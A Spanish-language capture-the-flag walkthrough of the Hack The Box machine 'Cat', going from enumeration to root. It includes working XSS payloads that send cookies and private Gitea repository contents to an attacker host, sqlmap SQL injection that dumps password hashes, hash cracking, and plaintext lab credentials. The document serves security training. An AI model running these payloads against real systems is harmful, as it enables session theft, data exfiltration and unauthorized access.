Cat

OS: Linux
Dificultad: Medio
Puntos: 30

Nmap

ports=$(nmap -p- --min-rate=5000 -T4 10.10.11.53 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p $ports -sC -sV 10.10.11.53
Nmap scan report for 10.10.11.53
Host is up (0.23s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
|   256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_  256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://cat.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

Nmap nos muestra un dominio cat.htb lo agregamos a nuestro archivo hosts. En el puerto 80 la aplicacion web muestra lo siguiente.

Enumerando directorios en la aplicacion identificamos .git/HEAD.

gobuster dir -u http://cat.htb/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://cat.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.git/HEAD            (Status: 200) [Size: 23]
/.hta                 (Status: 403) [Size: 272]
/.htaccess            (Status: 403) [Size: 272]
/.htpasswd            (Status: 403) [Size: 272]
/admin.php            (Status: 302) [Size: 1] [--> /join.php]
/css                  (Status: 301) [Size: 300] [--> http://cat.htb/css/]
/img                  (Status: 301) [Size: 300] [--> http://cat.htb/img/]
/index.php            (Status: 200) [Size: 3075]
/server-status        (Status: 403) [Size: 272]
/uploads              (Status: 301) [Size: 304] [--> http://cat.htb/uploads/]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

Git-Dumper

Utilizando git-dumper podemos obtener archivos de la aplicacion web.

git-dumper http://cat.htb/ git

Source Code Review

Analizando el archivo contest.php vemos que el username se almacena en la base de datos en la linea 86.

contest.php
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
if ($uploadOk == 0) {
        } else {
            if (move_uploaded_file($_FILES["cat_photo"]["tmp_name"], $target_file)) {
                // Prepare SQL query to insert cat data
                $stmt = $pdo->prepare("INSERT INTO cats (cat_name, age, birthdate, weight, photo_path, owner_username) VALUES (:cat_name, :age, :birthdate, :weight, :photo_path, :owner_username)");
                // Bind parameters
                $stmt->bindParam(':cat_name', $cat_name, PDO::PARAM_STR);
                $stmt->bindParam(':age', $age, PDO::PARAM_INT);
                $stmt->bindParam(':birthdate', $birthdate, PDO::PARAM_STR);
                $stmt->bindParam(':weight', $weight, PDO::PARAM_STR);
                $stmt->bindParam(':photo_path', $target_file, PDO::PARAM_STR);
                $stmt->bindParam(':owner_username', $_SESSION['username'], PDO::PARAM_STR);
                // Execute query
                if ($stmt->execute()) {
                    $success_message = "Cat has been successfully sent for inspection.";
                } else {
                    $error_message = "Error: There was a problem registering the cat.";
                }
            } else {
                $error_message = "Error: There was a problem uploading the file.";
            }
        }

Esto significa una oportunidad de realizar XSS en el parametro username ya que no valida los caracteres que se ingresan.

contest.php
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    // Capture form data
    $cat_name = $_POST['cat_name'];
    $age = $_POST['age'];
    $birthdate = $_POST['birthdate'];
    $weight = $_POST['weight'];

    $forbidden_patterns = "/[+*{}',;<>()\\[\\]\\/\\:]/";

    // Check for forbidden content
    if (contains_forbidden_content($cat_name, $forbidden_patterns) ||
        contains_forbidden_content($age, $forbidden_patterns) ||
        contains_forbidden_content($birthdate, $forbidden_patterns) ||
        contains_forbidden_content($weight, $forbidden_patterns)) {
        $error_message = "Your entry contains invalid characters.";

Blind XSS

Por lo tanto tenemos que crear un usuario donde en el parametro username contenga nuestro XSS payload. Para comprobar la vulnerabilidad usaremos el siguiente payload.

<script src="http://10.10.14.11">testing</script>

Creamos un usuario.

Nos autenticamos.

Ponemos a la escucha nuestro servidor web.

python3 -m http.server 80

Creamos un registro en el portal Contest.

Esperamos un momento y nos llegara una peticion a nuestro servidor.

┌──(venv)(root㉿kali)-[~/htb/Box/Cat]
└─# python3 -m http.server 80          
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.53 - - [08/Feb/2025 12:41:30] "GET / HTTP/1.1" 200 -

XSS Steal Cookie

Ahora que comprobamos la vulnerabilidad el siguiente paso sera robar la cookie de admin con el siguiente payload.

<script>document.location='http://10.10.14.11/?c='+document.cookie</script>

Repetimos el mismo proceso y veremos en nuestro servidor la cookie.

┌──(venv)(root㉿kali)-[~/htb/Box/Cat]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.53 - - [08/Feb/2025 12:51:36] "GET /?c=PHPSESSID=f9c3itgs8u31sojleb46lvg3ek HTTP/1.1" 200 -

Modificamos nuestra cookie en el navegador y ahora es posible acceder al portal de admin.

Blind SQL Injection

Analizando nuevamente el codigo en el archivo accept_cat.php identificamos que la aplicacion puede ser vulnerable a SQL Injection en el parametro cat_name ya que no se esta usando prepared statement para ejecutar el query en la linea 10 y 11.

accept_cat.php
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php
include 'config.php';
session_start();

if (isset($_SESSION['username']) && $_SESSION['username'] === 'axel') {
    if ($_SERVER["REQUEST_METHOD"] == "POST") {
        if (isset($_POST['catId']) && isset($_POST['catName'])) {
            $cat_name = $_POST['catName'];
            $catId = $_POST['catId'];
            $sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
            $pdo->exec($sql_insert);

            $stmt_delete = $pdo->prepare("DELETE FROM cats WHERE cat_id = :cat_id");
            $stmt_delete->bindParam(':cat_id', $catId, PDO::PARAM_INT);
            $stmt_delete->execute();

Para explotar la vulnerabilidad capturamos la request cuando aceptamos un registro en el panel de admin.

POST /accept_cat.php HTTP/1.1
Host: cat.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Origin: http://cat.htb
Connection: keep-alive
Referer: http://cat.htb/admin.php
Cookie: PHPSESSID=8bhudih1mm9oor3k18auk1tkq5
Priority: u=0

catName=test&catId=1

Utilizando sqlmap realizamos el ataque.

sqlmap -r req.txt -p catName --level=5 --risk=3 --dbms=sqlite
[13:17:25] [INFO] checking if the injection point on POST parameter 'catName' is a false positive
POST parameter 'catName' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 406 HTTP(s) requests:
---
Parameter: catName (POST)
    Type: boolean-based blind
    Title: SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)
    Payload: catName=test' AND CASE WHEN 5854=5854 THEN 5854 ELSE JSON(CHAR(80,72,103,78)) END AND 'ihgG'='ihgG&catId=1

    Type: time-based blind
    Title: SQLite > 2.0 AND time-based blind (heavy query)
    Payload: catName=test' AND 8861=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND 'rycT'='rycT&catId=1
---
[13:18:49] [INFO] the back-end DBMS is SQLite
web server operating system: Linux Ubuntu 20.10 or 20.04 or 19.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: SQLite

Una vez confirmado que es vulnerable a SQL Injection procedemos a extrar los usuarios y password.

sqlmap -r req.txt -p catName --level=5 --risk=3 --dbms=sqlite -D cat -T users -C username,password --dump
Table: users
[6 entries]
+----------+----------------------------------+
| username | password                         |
+----------+----------------------------------+
| axel     | d1bbba3670feb9435c9841e46e60ee2f |
| rosa     | ac369922d560f17d6eeb8b2c7dec498c |
| robert   | 42846631708f69c00ec0c0a8aa4a92ad |
| fabian   | 39e153e825c4a3d314a0dc7f7475ddbe |
| jerryson | 781593e060f8d065cd7281c5ec5b4b86 |
| larry    | 1b6dce240bbfbc0905a664ad199e18f8 |
+----------+----------------------------------+

Con los hashes obtenidos podemos utilizar john para crakear el password.

john --wordlist=/usr/share/wordlists/rockyou.txt --format=RAW-MD5 hash.txt
Using default input encoding: UTF-8
Loaded 9 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
soyunaprincesarosa (rosa)     
1g 0:00:00:00 DONE (2025-02-08 15:56) 1.351g/s 19382Kp/s 19382Kc/s 159934KC/s  fuckyooh21..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

Nos podemos conectar por SSH con el usuario rosa.

rosa : soyunaprincesarosa
┌──(root㉿kali)-[~/htb/Box/Cat]
└─# ssh rosa@cat.htb
rosa@cat.htb's password: 

Last login: Sat Feb  8 18:30:19 2025 from 10.10.14.11
rosa@cat:~$ id
uid=1001(rosa) gid=1001(rosa) groups=1001(rosa),4(adm)

Lateral Movement

Vemos que usuario pertences al grupo adm. Usando linpeas identficamos que podemos acceder a los logs de apache.

╔══════════╣ Modified interesting files in the last 5mins (limit 100)
/databases/cat.db                                                                                                                                            
/var/log/audit/audit.log
/var/log/audit/audit.log.1
/var/log/apache2/access.log

Obtemos las credenciales del usuario axel.

rosa@cat:/tmp$ head -n 20 /var/log/apache2/access.log
127.0.0.1 - - [08/Feb/2025:00:00:08 +0000] "GET /join.php HTTP/1.1" 200 1683 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [08/Feb/2025:00:00:08 +0000] "GET /favicon.ico HTTP/1.1" 404 485 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [08/Feb/2025:00:00:08 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [08/Feb/2025:00:00:08 +0000] "GET / HTTP/1.1" 200 1436 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"

Nos podemos conectar por SSH.

axel : aNdZwgC4tI9gnVXv_e3Q
┌──(root㉿kali)-[~/htb/Box/Cat]
└─# ssh axel@cat.htb                           
axel@cat.htb's password: 

You have mail.
Last login: Fri Jan 31 11:31:57 2025 from 10.10.14.69
axel@cat:~$ id
uid=1000(axel) gid=1000(axel) groups=1000(axel)
axel@cat:~$ ls
user.txt

Privilege Escalation

Al conectarnos por SSH vemos el mensaje You have mail. Revisando los correos vemos lo siguiente.

axel@cat:~$ cat /var/mail/axel 
From rosa@cat.htb  Sat Sep 28 04:51:50 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
        by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592
        for <axel@cat.htb>; Sat, 28 Sep 2024 04:51:50 GMT
Received: (from rosa@localhost)
        by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591
        for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT
Date: Sat, 28 Sep 2024 04:51:49 GMT
From: rosa@cat.htb
Message-Id: <202409280451.48S4pnlT001591@cat.htb>
Subject: New cat services

Hi Axel,

We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.

Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.

From rosa@cat.htb  Sat Sep 28 05:05:28 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
        by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268
        for <axel@cat.htb>; Sat, 28 Sep 2024 05:05:28 GMT
Received: (from rosa@localhost)
        by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267
        for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT
Date: Sat, 28 Sep 2024 05:05:28 GMT
From: rosa@cat.htb
Message-Id: <202409280505.48S55Sm0002267@cat.htb>
Subject: Employee management

We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.

El puerto 25 y 3000 estan abiertos localmente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
axel@cat:~$ netstat -putona
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name     Timer
tcp        0      0 127.0.0.1:44165         0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 127.0.0.1:587           0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 127.0.0.1:47665         0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 127.0.0.1:59223         0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -                    off (0.00/0/0)

Port Forwarding

Realizamos un port forwarding de los puertos para acceder desde nuestra maquina.

ssh axel@cat.htb -L 3000:127.0.0.1:3000 -L 25:127.0.0.1:25

Una vez realizado esto podemos acceder a la aplicacion gitea. Es posible autenticarnos a la plataforma con las mismas credenciales de axel. Tambien vemos que la version que esta usando es 1.22.0.

No es posible acceder al repositorio que mencionan en el correo.

http://localhost:3000/administrator/Employee-management/

Gitea 1.22.0 - Stored XSS

Investigando vulnerabilidades encontramos que es vulnerable a XSS. Para explotar la vulnerabilidad hacemos lo siguiente, creamos un repositorio nuevo con nuestro payload en el apartado Description.

<a href=javascript:alert()>XSS test</a>

Ahora creamos un archivo nuevo con lo que sea.

Por ultimos si damos clic en el nombre saltara nuestro XSS.

Ya sabemos que funciona el exploit. Lo que necesitamos hacer es enviar un payload que acceda al repositorio privado y obtener el contenido en nuestro servidor web. Para esto combinaremos un par de cosas.

Creamos un repositorio nuevo con el siguiente payload.

<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management').then(r => r.text()).then(content => fetch('http://10.10.14.11/', { method: 'POST', mode: 'no-cors', body: content })).catch(console.error);">Payload</a>

Note

Tambien podemos utilizar el metodo GET. La diferencia es que por POST podemos recibir mayor informacion que con GET.
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md').then(r => r.text()).then(c => fetch('http://10.10.14.11/?content='+encodeURIComponent(c))).catch(console.error);">Payload</a>

Creamos un archivo nuevo.

Ahora ponemos a la escucha nuestro netcat.

nc -lvnp 80

Enviamos nuestro payload por correo al usuario jobert.

swaks --to "jobert@localhost" --from "axel@localhost" --header "Subject: Payload" --body "http://localhost:3000/axel/payload" --server localhost --port 25
=== Trying localhost:25...
=== Connected to localhost.
<-  220 cat.htb ESMTP Sendmail 8.15.2/8.15.2/Debian-18; Sat, 8 Feb 2025 20:03:41 GMT; (No UCE/UBE) logging access from: localhost(OK)-localhost [127.0.0.1]
 -> EHLO kali
<-  250-cat.htb Hello localhost [127.0.0.1], pleased to meet you
<-  250-ENHANCEDSTATUSCODES
<-  250-PIPELINING
<-  250-EXPN
<-  250-VERB
<-  250-8BITMIME
<-  250-SIZE
<-  250-DSN
<-  250-ETRN
<-  250-AUTH DIGEST-MD5 CRAM-MD5
<-  250-DELIVERBY
<-  250 HELP
 -> MAIL FROM:<axel@localhost>
<-  250 2.1.0 <axel@localhost>... Sender ok
 -> RCPT TO:<jobert@localhost>
<-  250 2.1.5 <jobert@localhost>... Recipient ok
 -> DATA
<-  354 Enter mail, end with "." on a line by itself
 -> Date: Sat, 08 Feb 2025 15:03:39 -0500
 -> To: jobert@localhost
 -> From: axel@localhost
 -> Subject: Payload
 -> Message-Id: <20250208150339.399837@kali>
 -> X-Mailer: swaks v20240103.0 jetmore.org/john/code/swaks/
 -> 
 -> http://localhost:3000/axel/payload
 -> 
 -> 
 -> .
<-  250 2.0.0 518K3fgQ063345 Message accepted for delivery
 -> QUIT
<-  221 2.0.0 cat.htb closing connection
=== Connection closed with remote host.

Despues de un momento nos regresara respuesta en nuestro netcat con el contenido de la pagina.

┌──(venv)(root㉿kali)-[~/htb/Box/Cat]
└─# nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.53] 45308
POST / HTTP/1.1
Host: 10.10.14.11
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain;charset=UTF-8
Content-Length: 65372
Origin: null
Connection: keep-alive
Priority: u=4

<!DOCTYPE html>
<html lang="en-US" data-theme="gitea-auto">
<head>
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>administrator/Employee-management: An internal employee management system - Employee-management - Cat</title>

Guardando el output que recibimos y vemos varios archivos en el repositorio.

Repetimos lo mismo y obtenemos el contenido de index.php.

<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(r => r.text()).then(content => fetch('http://10.10.14.11/', { method: 'POST', mode: 'no-cors', body: content })).catch(console.error);">Payload</a>
┌──(venv)(root㉿kali)-[~/htb/Box/Cat]
└─# nc -lvnp 80    
listening on [any] 80 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.53] 42844
POST / HTTP/1.1
Host: 10.10.14.11
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain;charset=UTF-8
Content-Length: 420
Origin: null
Connection: keep-alive
Priority: u=4

<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';

if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) || 
    $_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {
    
    header('WWW-Authenticate: Basic realm="Employee Management"');
    header('HTTP/1.0 401 Unauthorized');
    exit;
}

header('Location: dashboard.php');
exit;
?>

Con las credenciales obtenidas podemos acceder al usuario root.

root : IKw75eR0MR7CMIxhH0
axel@cat:~$ su root
Password: 
root@cat:/home/axel# id
uid=0(root) gid=0(root) groups=0(root)
root@cat:/home/axel# cd
root@cat:~# ls
root.txt  scripts

References

https://github.com/arthaud/git-dumper
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS
https://www.exploit-db.com/exploits/52077